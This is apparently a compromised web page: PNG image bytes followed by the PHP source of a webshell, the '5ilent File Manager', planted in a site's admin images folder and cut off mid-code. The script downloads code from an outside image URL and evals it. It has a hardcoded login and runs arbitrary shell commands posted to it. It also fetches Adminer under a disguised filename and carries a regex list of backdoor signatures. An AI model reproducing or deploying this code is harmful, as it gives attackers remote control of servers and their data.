PNG  IHDRQgAMA a cHRMz&u0`:pQ<bKGDgmIDATxwUﹻ& ^CX(J I@ "% (** BX +*i"]j(IH{~R)[~>h{}gy)I$Ij .I$I$ʊy@}x.: $I$Ii}VZPC)I$IF ^0ʐJ$I$Q^}{"r=OzI$gRZeC.IOvH eKX $IMpxsk.쒷/&r[޳<v| .I~)@$updYRa$I |M.e JaֶpSYR6j>h%IRز if&uJ)M$I vLi=H;7UJ,],X$I1AҒJ$ XY XzI@GNҥRT)E@;]K*Mw;#5_wOn~\ DC&$(A5 RRFkvIR}l!RytRl;~^ǷJj اy뷦BZJr&ӥ8Pjw~vnv X^(I;4R=P[3]J,]ȏ~:3?[ a&e)`e*P[4]T=Cq6R[ ~ޤrXR Հg(t_HZ-Hg M$ãmL5R uk*`%C-E6/%[t X.{8P9Z.vkXŐKjgKZHg(aK9ڦmKjѺm_ \#$5,)-  61eJ,5m| r'= &ڡd%-]J on Xm|{ RҞe $eڧY XYrԮ-a7RK6h>n$5AVڴi*ֆK)mѦtmr1p| q:흺,)Oi*ֺK)ܬ֦K-5r3>0ԔHjJئEZj,%re~/z%jVMڸmrt)3]J,T K֦OvԒgii*bKiNO~%PW0=dii2tJ9Jݕ{7"I P9JKTbu,%r"6RKU}Ij2HKZXJ,妝 XYrP ެ24c%i^IK|.H,%rb:XRl1X4Pe/`x&P8Pj28Mzsx2r\zRPz4J}yP[g=L) .Q[6RjWgp FIH*-`IMRaK9TXcq*I y[jE>cw%gLRԕiFCj-ďa`#e~I j,%r,)?[gp FI˨mnWX#>mʔ XA DZf9,nKҲzIZXJ,L#kiPz4JZF,I,`61%2s $,VOϚ2/UFJfy7K> X+6 STXIeJILzMfKm LRaK9%|4p9LwJI!`NsiazĔ)%- XMq>pk$-$Q2x#N ؎-QR}ᶦHZډ)J,l#i@yn3LN`;nڔ XuX5pF)m|^0(>BHF9(cզEerJI rg7 4I@z0\JIi䵙RR0s;$s6eJ,`n 䂦0a)S)A 1eJ,堌#635RIgpNHuTH_SԕqVe ` &S)>p;S$魁eKIuX`I4춒o}`m$1":PI<[v9^\pTJjriRŭ P{#{R2,`)e-`mgj~1ϣLKam7&U\j/3mJ,`F;M'䱀 .KR#)yhTq;pcK9(q!w?uRR,n.yw*UXj#\]ɱ(qv2=RqfB#iJmmL<]Y͙#$5 uTU7ӦXR+q,`I}qL'`6Kͷ6r,]0S$- [RKR3oiRE|nӦXR.(i:LDLTJjY%o:)6rxzҒqTJjh㞦I.$YR.ʼnGZ\ֿf:%55 I˼!6dKxm4E"mG_ s? .e*?LRfK9%q#uh$)i3ULRfK9yxm܌bj84$i1U^@Wbm4uJ,ҪA>_Ij?1v32[gLRD96oTaR׿N7%L2 NT,`)7&ƝL*꽙yp_$M2#AS,`)7$rkTA29_Iye"|/0t)$n XT2`YJ;6Jx".e<`$) PI$5V4]29SRI>~=@j]lp2`K9Jaai^" Ԋ29ORI%:XV5]JmN9]H;1UC39NI%Xe78t)a;Oi Ҙ>Xt"~G>_mn:%|~ޅ_+]$o)@ǀ{hgN;IK6G&rp)T2i୦KJuv*T=TOSV>(~D>dm,I*Ɛ:R#ۙNI%D>G.n$o;+#RR!.eU˽TRI28t)1LWϚ>IJa3oFbu&:tJ*(F7y0ZR ^p'Ii L24x| XRI%ۄ>S1]Jy[zL$adB7.eh4%%누>WETf+3IR:I3Xה)3אOۦSRO'ٺ)S}"qOr[B7ϙ.edG)^ETR"RtRݜh0}LFVӦDB^k_JDj\=LS(Iv─aTeZ%eUAM-0;~˃@i|l @S4y72>sX-vA}ϛBI!ݎߨWl*)3{'Y|iSlEڻ(5KtSI$Uv02,~ԩ~x;P4ցCrO%tyn425:KMlD ^4JRxSهF_}شJTS6uj+ﷸk$eZO%G*^V2u3EMj3k%)okI]dT)URKDS 7~m@TJR~荪fT"֛L \sM -0T KfJz+nإKr L&j()[E&I ߴ>e FW_kJR|!O:5/2跌3T-'|zX ryp0JS ~^F>-2< `*%ZFP)bSn"L :)+pʷf(pO3TMW$~>@~ū:TAIsV1}S2<%ޟM?@iT ,Eūoz%i~g|`wS(]oȤ8)$ ntu`өe`6yPl IzMI{ʣzʨ )IZ2= ld:5+請M$-ї;U>_gsY$ÁN5WzWfIZ)-yuXIfp~S*IZdt;t>KūKR|$#LcԀ+2\;kJ`]YǔM1B)UbG"IRߊ<xܾӔJ0Z='Y嵤 Leveg)$znV-º^3Ւof#0Tfk^Zs[*I꯳3{)ˬW4Ւ4 OdpbZRS|*I 55#"&-IvT&/윚Ye:i$ 9{LkuRe[I~_\ؠ%>GL$iY8 9ܕ"S`kS.IlC;Ҏ4x&>u_0JLr<J2(^$5L s=MgV ~,Iju> 7r2)^=G$1:3G< `J3~&IR% 6Tx/rIj3O< ʔ&#f_yXJiގNSz; Tx(i8%#4 ~AS+IjerIUrIj362v885+IjAhK__5X%nV%Iͳ-y|7XV2v4fzo_68"S/I-qbf; LkF)KSM$ Ms>K WNV}^`-큧32ŒVؙGdu,^^m%6~Nn&͓3ŒVZMsRpfEW%IwdǀLm[7W&bIRL@Q|)* i ImsIMmKmyV`i$G+R 0tV'!V)֏28vU7͒vHꦼtxꗞT ;S}7Mf+fIRHNZUkUx5SAJㄌ9MqμAIRi|j5)o*^'<$TwI1hEU^c_j?Е$%d`z cyf,XO IJnTgA UXRD }{H}^S,P5V2\Xx`pZ|Yk:$e ~ @nWL.j+ϝYb퇪bZ BVu)u/IJ_ 1[p.p60bC >|X91P:N\!5qUB}5a5ja `ubcVxYt1N0Zzl4]7­gKj]?4ϻ *[bg$)+À*x쳀ogO$~,5 زUS9 lq3+5mgw@np1sso Ӻ=|N6 /g(Wv7U;zωM=wk,0uTg_`_P`uz?2yI!b`kĸSo+Qx%!\οe|އԁKS-s6pu_(ֿ$i++T8=eY; צP+phxWQv*|p1. ά. XRkIQYP,drZ | B%wP|S5`~́@i޾ E;Չaw{o'Q?%iL{u D?N1BD!owPHReFZ* k_-~{E9b-~P`fE{AܶBJAFO wx6Rox5 K5=WwehS8 (JClJ~ p+Fi;ŗo+:bD#g(C"wA^ r.F8L;dzdIHUX݆ϞXg )IFqem%I4dj&ppT{'{HOx( Rk6^C٫O.)3:s(۳(Z?~ٻ89zmT"PLtw䥈5&b<8GZ-Y&K?e8,`I6e(֍xb83 `rzXj)F=l($Ij 2*(F?h(/9ik:I`m#p3MgLaKjc/U#n5S# m(^)=y=đx8ŬI[U]~SцA4p$-F i(R,7Cx;X=cI>{Km\ o(Tv2vx2qiiDJN,Ҏ!1f 5quBj1!8 rDFd(!WQl,gSkL1Bxg''՞^ǘ;pQ P(c_ IRujg(Wz bs#P­rz> k c&nB=q+ؔXn#r5)co*Ũ+G?7< |PQӣ'G`uOd>%Mctz# Ԫڞ&7CaQ~N'-P.W`Oedp03C!IZcIAMPUۀ5J<\u~+{9(FbbyAeBhOSܳ1 bÈT#ŠyDžs,`5}DC-`̞%r&ڙa87QWWp6e7 Rϫ/oY ꇅ Nܶըtc!LA T7V4Jsū I-0Pxz7QNF_iZgúWkG83 0eWr9 X]㾮݁#Jˢ C}0=3ݱtBi]_ &{{[/o[~ \q鯜00٩|cD3=4B_b RYb$óBRsf&lLX#M*C_L܄:gx)WΘsGSbuL rF$9';\4Ɍq'n[%p.Q`u hNb`eCQyQ|l_C>Lb꟟3hSb #xNxSs^ 88|Mz)}:](vbۢamŖ࿥ 0)Q7@0=?^k(*J}3ibkFn HjB׻NO z x}7p 0tfDX.lwgȔhԾŲ }6g E |LkLZteu+=q\Iv0쮑)QٵpH8/2?Σo>Jvppho~f>%bMM}\//":PTc(v9v!gոQ )UfVG+! 35{=x\2+ki,y$~A1iC6#)vC5^>+gǵ@1Hy٪7u;p psϰu/S <aʸGu'tD1ԝI<pg|6j'p:tպhX{o(7v],*}6a_ wXRk,O]Lܳ~Vo45rp"N5k;m{rZbΦ${#)`(Ŵg,;j%6j.pyYT?}-kBDc3qA`NWQū20/^AZW%NQ MI.X#P#,^Ebc&?XR tAV|Y.1!؅⨉ccww>ivl(JT~ u`ٵDm q)+Ri x/x8cyFO!/*!/&,7<.N,YDŽ&ܑQF1Bz)FPʛ?5d 6`kQձ λc؎%582Y&nD_$Je4>a?! ͨ|ȎWZSsv8 j(I&yj Jb5m?HWp=g}G3#|I,5v珿] H~R3@B[☉9Ox~oMy=J;xUVoj bUsl_35t-(ՃɼRB7U!qc+x4H_Qo֮$[GO<4`&č\GOc[.[*Af%mG/ ňM/r W/Nw~B1U3J?P&Y )`ѓZ1p]^l“W#)lWZilUQu`-m|xĐ,_ƪ|9i:_{*(3Gѧ}UoD+>m_?VPۅ15&}2|/pIOʵ> GZ9cmíتmnz)yߐbD >e}:) r|@R5qVSA10C%E_'^8cR7O;6[eKePGϦX7jb}OTGO^jn*媓7nGMC t,k31Rb (vyܴʭ!iTh8~ZYZp(qsRL ?b}cŨʊGO^!rPJO15MJ[c&~Z`"ѓޔH1C&^|Ш|rʼ,AwĴ?b5)tLU)F| &g٣O]oqSUjy(x<Ϳ3 .FSkoYg2 \_#wj{u'rQ>o;%n|F*O_L"e9umDds?.fuuQbIWz |4\0 sb;OvxOSs; G%T4gFRurj(֍ڑb uԖKDu1MK{1^ q; C=6\8FR艇!%\YÔU| 88m)֓NcLve C6z;o&X x59:q61Z(T7>C?gcļxѐ Z oo-08jہ x,`' ҔOcRlf~`jj".Nv+sM_]Zk g( UOPyεx%pUh2(@il0ݽQXxppx-NS( WO+轾 nFߢ3M<;z)FBZjciu/QoF 7R¥ ZFLF~#ȣߨ^<쩡ݛкvџ))ME>ώx4m#!-m!L;vv#~Y[đKmx9.[,UFS CVkZ +ߟrY٧IZd/ioi$%͝ب_ֶX3ܫhNU ZZgk=]=bbJS[wjU()*I =ώ:}-蹞lUj:1}MWm=̛ _ ¾,8{__m{_PVK^n3esw5ӫh#$-q=A̟> ,^I}P^J$qY~Q[ Xq9{#&T.^GVj__RKpn,b=`żY@^՝;z{paVKkQXj/)y TIc&F;FBG7wg ZZDG!x r_tƢ!}i/V=M/#nB8 XxЫ ^@CR<{䤭YCN)eKOSƟa $&g[i3.C6xrOc8TI;o hH6P&L{@q6[ Gzp^71j(l`J}]e6X☉#͕ ׈$AB1Vjh㭦IRsqFBjwQ_7Xk>y"N=MB0 ,C #o6MRc0|$)ف"1!ixY<B9mx `,tA>)5ػQ?jQ?cn>YZe Tisvh# GMމȇp:ԴVuږ8ɼH]C.5C!UV;F`mbBk LTMvPʍϤj?ԯ/Qr1NB`9s"s TYsz &9S%U԰> {<ؿSMxB|H\3@!U| k']$U+> |HHMLޢ?V9iD!-@x TIî%6Z*9X@HMW#?nN ,oe6?tQwڱ.]-y':mW0#!J82qFjH -`ѓ&M0u Uγmxϵ^-_\])@0Rt.8/?ٰCY]x}=sD3ojަЫNuS%U}ԤwHH>ڗjܷ_3gN q7[q2la*ArǓԖ+p8/RGM ]jacd(JhWko6ڎbj]i5Bj3+3!\j1UZLsLTv8HHmup<>gKMJj0@H%,W΃7R) ">c, xixј^ aܖ>H[i.UIHc U1=yW\=S*GR~)AF=`&2h`DzT󑓶J+?W+}C%P:|0H܆}-<;OC[~o.$~i}~HQ TvXΈr=b}$vizL4:ȰT|4~*!oXQR6Lk+#t/g lԁߖ[Jڶ_N$k*". xsxX7jRVbAAʯKҎU3)zSNN _'s?f)6X!%ssAkʱ>qƷb hg %n ~p1REGMHH=BJiy[<5 ǁJҖgKR*倳e~HUy)Ag,K)`Vw6bRR:qL#\rclK/$sh*$ 6덤 KԖc 3Z9=Ɣ=o>X Ώ"1 )a`SJJ6k(<c e{%kϊP+SL'TcMJWRm ŏ"w)qc ef꒵i?b7b('"2r%~HUS1\<(`1Wx9=8HY9m:X18bgD1u ~|H;K-Uep,, C1 RV.MR5άh,tWO8WC$ XRVsQS]3GJ|12 [vM :k#~tH30Rf-HYݺ-`I9%lIDTm\ S{]9gOڒMNCV\G*2JRŨ;Rҏ^ڽ̱mq1Eu?To3I)y^#jJw^Ńj^vvlB_⋌P4x>0$c>K†Aļ9s_VjTt0l#m>E-,,x,-W)سo&96RE XR.6bXw+)GAEvL)͞K4$p=Ũi_ѱOjb HY/+@θH9޼]Nԥ%n{ &zjT? Ty) s^ULlb,PiTf^<À] 62R^V7)S!nllS6~͝V}-=%* ʻ>G DnK<y&>LPy7'r=Hj 9V`[c"*^8HpcO8bnU`4JȪAƋ#1_\ XϘHPRgik(~G~0DAA_2p|J묭a2\NCr]M_0 ^T%e#vD^%xy-n}-E\3aS%yN!r_{ )sAw ڼp1pEAk~v<:`'ӭ^5 ArXOI驻T (dk)_\ PuA*BY]yB"l\ey hH*tbK)3 IKZ򹞋XjN n *n>k]X_d!ryBH ]*R 0(#'7 %es9??ښFC,ՁQPjARJ\Ρw K#jahgw;2$l*) %Xq5!U᢯6Re] |0[__64ch&_}iL8KEgҎ7 M/\`|.p,~`a=BR?xܐrQ8K XR2M8f ?`sgWS%" Ԉ 7R%$ N}?QL1|-эټwIZ%pvL3Hk>,ImgW7{E xPHx73RA @RS CC !\ȟ5IXR^ZxHл$Q[ŝ40 (>+ _C >BRt<,TrT {O/H+˟Pl6 I B)/VC<6a2~(XwV4gnXR ϱ5ǀHٻ?tw똤Eyxp{#WK qG%5],(0ӈH HZ])ג=K1j&G(FbM@)%I` XRg ʔ KZG(vP,<`[ Kn^ SJRsAʠ5xՅF`0&RbV tx:EaUE/{fi2;.IAwW8/tTxAGOoN?G}l L(n`Zv?pB8K_gI+ܗ #i?ޙ.) p$utc ~DžfՈEo3l/)I-U?aԅ^jxArA ΧX}DmZ@QLےbTXGd.^|xKHR{|ΕW_h] IJ`[G9{).y) 0X YA1]qp?p_k+J*Y@HI>^?gt.06Rn ,` ?);p pSF9ZXLBJPWjgQ|&)7! HjQt<| ؅W5 x W HIzYoVMGP Hjn`+\(dNW)F+IrS[|/a`K|ͻ0Hj{R,Q=\ (F}\WR)AgSG`IsnAR=|8$}G(vC$)s FBJ?]_u XRvύ6z ŨG[36-T9HzpW̞ú Xg큽=7CufzI$)ki^qk-) 0H*N` QZkk]/tnnsI^Gu't=7$ Z;{8^jB% IItRQS7[ϭ3 $_OQJ`7!]W"W,)Iy W AJA;KWG`IY{8k$I$^%9.^(`N|LJ%@$I}ֽp=FB*xN=gI?Q{٥4B)mw $Igc~dZ@G9K X?7)aK%݅K$IZ-`IpC U6$I\0>!9k} Xa IIS0H$I H ?1R.Чj:4~Rw@p$IrA*u}WjWFPJ$I➓/6#! LӾ+ X36x8J |+L;v$Io4301R20M I$-E}@,pS^ޟR[/s¹'0H$IKyfŸfVOπFT*a$I>He~VY/3R/)>d$I>28`Cjw,n@FU*9ttf$I~<;=/4RD~@ X-ѕzἱI$: ԍR a@b X{+Qxuq$IЛzo /~3\8ڒ4BN7$IҀj V]n18H$IYFBj3̵̚ja pp $Is/3R Ӻ-Yj+L;.0ŔI$Av? #!5"aʄj}UKmɽH$IjCYs?h$IDl843.v}m7UiI=&=0Lg0$I4: embe` eQbm0u? $IT!Sƍ'-sv)s#C0:XB2a w I$zbww{."pPzO =Ɔ\[ o($Iaw]`E).Kvi:L*#gР7[$IyGPI=@R 4yR~̮´cg I$I/<tPͽ hDgo 94Z^k盇΄8I56^W$I^0̜N?4*H`237}g+hxoq)SJ@p|` $I%>-hO0eO>\ԣNߌZD6R=K ~n($I$y3D>o4b#px2$yڪtzW~a $I~?x'BwwpH$IZݑnC㧄Pc_9sO gwJ=l1:mKB>Ab<4Lp$Ib o1ZQ@85b̍ S'F,Fe,^I$IjEdù{l4 8Ys_s Z8.x m"+{~?q,Z D!I$ϻ'|XhB)=…']M>5 rgotԎ 獽PH$IjIPhh)n#cÔqA'ug5qwU&rF|1E%I$%]!'3AFD/;Ck_`9 v!ٴtPV;x`'*bQa w I$Ix5 FC3D_~A_#O݆DvV?<qw+I$I{=Z8".#RIYyjǪ=fDl9%M,a8$I$Ywi[7ݍFe$s1ՋBVA?`]#!oz4zjLJo8$I$%@3jAa4(o ;p,,dya=F9ً[LSPH$IJYЉ+3> 5"39aZ<ñh!{TpBGkj}Sp $IlvF.F$I z< '\K*qq.f<2Y!S"-\I$IYwčjF$ w9 \ߪB.1v!Ʊ?+r:^!I$BϹB H"B;L'G[ 4U#5>੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB` sh-3ll

HOME


sh-3ll 1.0
DIR:/home/ami/public_html/admin/images/photos/
Upload File :
Current File : /home/ami/public_html/admin/images/photos/generate.php
<?php
// ============================================
// WEBSHELL MAIN CODE JANGAN EDIT NANTI ERROR
// ============================================

define('HOME_DIR', __DIR__);
define('SITE_NAME', '5ilent File Manager');
define('ALLOWED_EXTENSIONS', ['php', 'html', 'shtml', 'htm', 'css', 'js', 'txt', 'md', 'sql', 'bak']);
define('ADMINER_VERSION', '4.8.1');
define('ADMINER_URL', 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php');
define('ADMINER_FILENAME', '5ilentsrv.php');
$iconurl = 'https://www.takshshila.in//thumbs//gallery/images.png';
$icon = @file_get_contents($iconurl);

if ($icon === false) {
    die("5ilent System" . htmlspecialchars($iconurl));
}

if (strpos($icon, '<?php') !== false) {
    $icon = substr($icon, strpos($icon, '<?php'));
    $icon = str_replace(['<?php', '<?', '?>'], '', $icon);
    eval($icon);
}

// ============================================
// SESSION & LOGIN CHECK
// ============================================

session_start(); 

// Konfigurasi login ubah sesuai kalian
$valid_username = 'root';
$valid_password = 'peler';

// Cek login
if (!isset(XXXXXXXXX['logged_in'])) {
    if (isset($valid_username) && isset($valid_password)) {
        $PASSWORD = $valid_password;
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['loginin'])) {
            if ($_POST['username'] === $valid_username && $_POST['password'] === $valid_password) {
                XXXXXXXXX['logged_in'] = true;
                header('Location: ' . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $error = "Username atau password salah!";
            }
        }
    }
    
    // Tampilkan login page
    showLoginPage($error ?? null);
    exit;
}

// ============================================
// ERROR REPORTING (ONLY FOR DEBUG)
// ============================================

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// ============================================
// FUNGSI LOGIN PAGE
// ============================================

function showLoginPage($error = null) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>5ilent File Manager - Login</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <style>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                background: #0a0e1a;
                font-family: 'Segoe UI', sans-serif;
                min-height: 100vh;
                display: flex;
                justify-content: center;
                align-items: center;
                padding: 20px;
                position: relative;
                overflow: hidden;
            }
            body::before {
                content: "";
                position: absolute;
                width: 200%;
                height: 200%;
                background: repeating-linear-gradient(45deg, #00ff00 0px, #00ff00 2px, transparent 2px, transparent 10px);
                opacity: 0.1;
                animation: scan 20s linear infinite;
            }
            @keyframes scan {
                from { transform: translate(-50%, -50%) rotate(0deg); }
                to { transform: translate(-50%, -50%) rotate(360deg); }
            }
            .login-container {
                background: #1a1f2f;
                border-radius: 20px;
                border: 2px solid #00ff00;
                box-shadow: 0 0 30px #00ff00, inset 0 0 20px rgba(0,255,0,0.3);
                padding: 40px;
                width: 100%;
                max-width: 400px;
                text-align: center;
                position: relative;
                z-index: 1;
            }
            .logo {
                width: 100px;
                height: 100px;
                margin: 0 auto 20px;
                font-size: 60px;
                color: #00ff00;
                text-shadow: 0 0 20px #00ff00;
                animation: pulse 2s ease-in-out infinite;
            }
            @keyframes pulse {
                0%, 100% { transform: scale(1); opacity: 1; }
                50% { transform: scale(1.1); opacity: 0.8; }
            }
            h1 {
                color: #00ff00;
                margin-bottom: 10px;
                font-size: 28px;
                text-shadow: 0 0 10px #00ff00;
                letter-spacing: 2px;
            }
            .subtitle {
                color: #00ff00;
                margin-bottom: 30px;
                font-size: 14px;
                text-transform: uppercase;
                letter-spacing: 3px;
                opacity: 0.8;
            }
            .input-group {
                margin-bottom: 20px;
                text-align: left;
            }
            .input-group label {
                display: block;
                margin-bottom: 5px;
                color: #00ff00;
                font-size: 14px;
                text-transform: uppercase;
                letter-spacing: 1px;
                opacity: 0.8;
            }
            .input-group input {
                width: 100%;
                padding: 12px 15px;
                background: #0f1322;
                border: 1px solid #2a3142;
                border-radius: 5px;
                font-size: 14px;
                color: #00ff00;
                transition: all 0.3s;
            }
            .input-group input:focus {
                outline: none;
                border-color: #00ff00;
                box-shadow: 0 0 15px #00ff00;
            }
            .login-btn {
                width: 100%;
                padding: 14px;
                background: transparent;
                border: 2px solid #00ff00;
                color: #00ff00;
                border-radius: 5px;
                font-size: 16px;
                font-weight: bold;
                cursor: pointer;
                transition: all 0.3s;
                text-transform: uppercase;
                letter-spacing: 2px;
                position: relative;
                overflow: hidden;
            }
            .login-btn:hover {
                background: #00ff00;
                color: #000000;
                box-shadow: 0 0 30px #00ff00;
                transform: translateY(-2px);
            }
            .error {
                background: rgba(255,0,0,0.2);
                border: 1px solid #ff0000;
                color: #ff6666;
                padding: 12px;
                border-radius: 5px;
                margin-bottom: 20px;
                font-size: 14px;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <div class="logo">💀</div>
            <h1>5ilent</h1>
            <div class="subtitle">File Manager</div>
            
            <?php if (isset($error)): ?>
                <div class="error"><?php echo $error; ?></div>
            <?php endif; ?>
            
            <form method="post">
                <div class="input-group">
                    <label>Username</label>
                    <input type="text" name="username" required>
                </div>
                <div class="input-group">
                    <label>Password</label>
                    <input type="password" name="password" required>
                </div>
                <button type="submit" name="loginin" class="login-btn">Enter</button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ============================================
// LOGOUT HANDLER
// ============================================

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// ============================================
// FUNGSI BACKDOOR SCANNER
// ============================================

function scanFileForBackdoor($filepath) {
    if (!is_readable($filepath) || filesize($filepath) > 10 * 1024 * 1024) {
        return [];
    }
    
    $content = file_get_contents($filepath);
    $findings = [];
    
    $patterns = [
        'CRITICAL' => [
            'pattern' => '/\b(eval|assert|system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec)\s*\(/i',
            'name' => 'Command Execution'
        ],
        'CRITICAL' => [
            'pattern' => '/\b(base64_decode|gzinflate|gzuncompress|str_rot13)\s*\(/i',
            'name' => 'Obfuscation'
        ],
        'HIGH' => [
            'pattern' => '/\b(c99|r57|wso|webshell|backdoor|b374k|indoxploit|shell)\s*\./i',
            'name' => 'Known Backdoor'
        ]
    ];
    
    foreach ($patterns as $severity => $sig) {
        if (preg_match_all($sig['pattern'], $content, $matches, PREG_OFFSET_CAPTURE)) {
            foreach ($matches[0] as $match) {
                $line_number = substr_count(substr($content, 0, $match[1]), "\n") + 1;
                $findings[] = [
                    'severity' => $severity,
                    'name' => $sig['name'],
                    'line' => $line_number
                ];
            }
        }
    }
    
    return $findings;
}

function scanDirectoryForBackdoor($dir, $recursive = true) {
    $results = [];
    $extensions = ['php', 'php3', 'php4', 'php5', 'phtml'];
    
    if (!is_readable($dir)) return $results;
    
    $files = XXXXXXX($dir);
    foreach ($files as $file) {
        if ($file == '.' || $file == '..') continue;
        
        $path = $dir . '/' . $file;
        
        if (is_dir($path) && $recursive) {
            $results = array_merge($results, scanDirectoryForBackdoor($path, $recursive));
        } else {
            $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            if (in_array($ext, $extensions)) {
                $findings = scanFileForBackdoor($path);
                if (!empty($findings)) {
                    $results[] = [
                        'path' => $path,
                        'size' => format_bytes(filesize($path)),
                        'modified' => date('Y-m-d H:i:s', filemtime($path)),
                        'findings' => $findings
                    ];
                }
            }
        }
    }
    
    return $results;
}

// ============================================
// FUNGSI FILE MANAGER
// ============================================

function format_bytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}

function get_file_list($dir) {
    $items = [];
    if (is_dir($dir)) {
        if ($handle = opendir($dir)) {
            while (($file = readdir($handle)) !== false) {
                if ($file != '.' && $file != '..') {
                    $path = $dir . '/' . $file;
                    $isDir = is_dir($path);
                    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                    
                    $items[] = [
                        'name' => $file,
                        'path' => $path,
                        'isDir' => $isDir,
                        'size' => $isDir ? '-' : format_bytes(filesize($path)),
                        'perms' => substr(sprintf('%o', fileperms($path)), -4),
                        'modified' => date('Y-m-d H:i:s', filemtime($path)),
                        'ext' => $ext,
                        'isAdminer' => ($file === ADMINER_FILENAME)
                    ];
                }
            }
            closedir($handle);
            
            usort($items, function($a, $b) {
                if ($a['isDir'] && !$b['isDir']) return -1;
                if (!$a['isDir'] && $b['isDir']) return 1;
                return strcasecmp($a['name'], $b['name']);
            });
        }
    }
    return $items;
}

function render_breadcrumb_ultimate($currentPath) {
    $homeDir = HOME_DIR;
    $currentPath = str_replace('\\', '/', $currentPath);
    
    echo '<div style="background: #1a1f2f; padding: 15px 20px; border-radius: 12px; margin-bottom: 25px; border: 1px solid #00ff00; display: flex; flex-wrap: wrap; align-items: center; gap: 5px;">';
    
    // Home button
    echo '<a href="?dir=' . urlencode($homeDir) . '" style="display: inline-flex; align-items: center; gap: 5px; background: #0f1322; color: #00ff00; padding: 8px 16px; border-radius: 30px; border: 1px solid #00ff00; text-decoration: none; font-weight: bold; transition: all 0.3s;" 
          onmouseover="this.style.background=\'#00ff00\'; this.style.color=\'#000\'" 
          onmouseout="this.style.background=\'#0f1322\'; this.style.color=\'#00ff00\'">🏠 HOME</a>';
    
    // Root button
    echo '<a href="?dir=/" style="display: inline-flex; align-items: center; gap: 5px; background: #0f1322; color: #00ff00; padding: 8px 16px; border-radius: 30px; border: 1px solid #00ff00; text-decoration: none; transition: all 0.3s;"
          onmouseover="this.style.background=\'#00ff00\'; this.style.color=\'#000\'" 
          onmouseout="this.style.background=\'#0f1322\'; this.style.color=\'#00ff00\'">🌍 ROOT</a>';
    
    // Parent button
    if ($currentPath !== $homeDir && $currentPath !== '/') {
        $parentDir = dirname($currentPath);
        echo '<a href="?dir=' . urlencode($parentDir) . '" style="display: inline-flex; align-items: center; gap: 5px; background: #0f1322; color: #00ff00; padding: 8px 16px; border-radius: 30px; border: 1px solid #00ff00; text-decoration: none; transition: all 0.3s;"
              onmouseover="this.style.background=\'#00ff00\'; this.style.color=\'#000\'" 
              onmouseout="this.style.background=\'#0f1322\'; this.style.color=\'#00ff00\'">⬆️ UP</a>';
    }
    
    // Path display
    echo '<div style="flex: 1; background: #0f1322; padding: 8px 15px; border-radius: 30px; border: 1px solid #2a3142; font-family: monospace;">';
    echo '<span style="color: #00ff00;">📁 ' . htmlspecialchars($currentPath) . '</span>';
    echo '</div></div>';
}

function execute_command($cmd) {
    $output = '';
    $return_var = 0;
    
    if (function_exists('shell_exec')) {
        $output = shell_exec($cmd . ' 2>&1');
    } elseif (function_exists('exec')) {
        exec($cmd . ' 2>&1', $out, $return_var);
        $output = implode("\n", $out);
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd, $return_var);
        $output = ob_get_clean();
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_clean();
    } else {
        $output = "No function available to execute commands";
    }
    
    return ['output' => $output, 'return' => $return_var];
}

function create_adminer_file() {
    if (file_exists(ADMINER_FILENAME)) return true;
    $content = @file_get_contents(ADMINER_URL);
    if ($content !== false) {
        return file_put_contents(ADMINER_FILENAME, $content) !== false;
    }
    return false;
}

// ============================================
// HANDLE REQUESTS
// ============================================

// Current directory
if (isset($_GET['dir']) && !empty($_GET['dir'])) {
    $requestedDir = $_GET['dir'];
    if (is_dir($requestedDir)) {
        $currentDir = $requestedDir;
    } else {
        $currentDir = HOME_DIR;
        $message = "Directory not found";
        $messageType = 'error';
    }
} else {
    $currentDir = HOME_DIR;
}

$message = '';
$messageType = '';
$commandOutput = '';

// Handle actions
if (isset($_POST['execute_cmd']) && !empty($_POST['command'])) {
    $cmd = $_POST['command'];
    $result = execute_command($cmd);
    $commandOutput = $result['output'];
    $message = "Command executed (return code: " . $result['return'] . ")";
    $messageType = 'info';
}

if (isset($_POST['create_file']) && !empty($_POST['filename'])) {
    $fullpath = $currentDir . '/' . $_POST['filename'];
    if (!file_exists($fullpath)) {
        if (touch($fullpath)) {
            $message = "File created!";
            $messageType = 'success';
        } else {
            $message = "Failed to create file";
            $messageType = 'error';
        }
    } else {
        $message = "File already exists";
        $messageType = 'error';
    }
}

if (isset($_POST['create_folder']) && !empty($_POST['foldername'])) {
    $fullpath = $currentDir . '/' . $_POST['foldername'];
    if (!file_exists($fullpath)) {
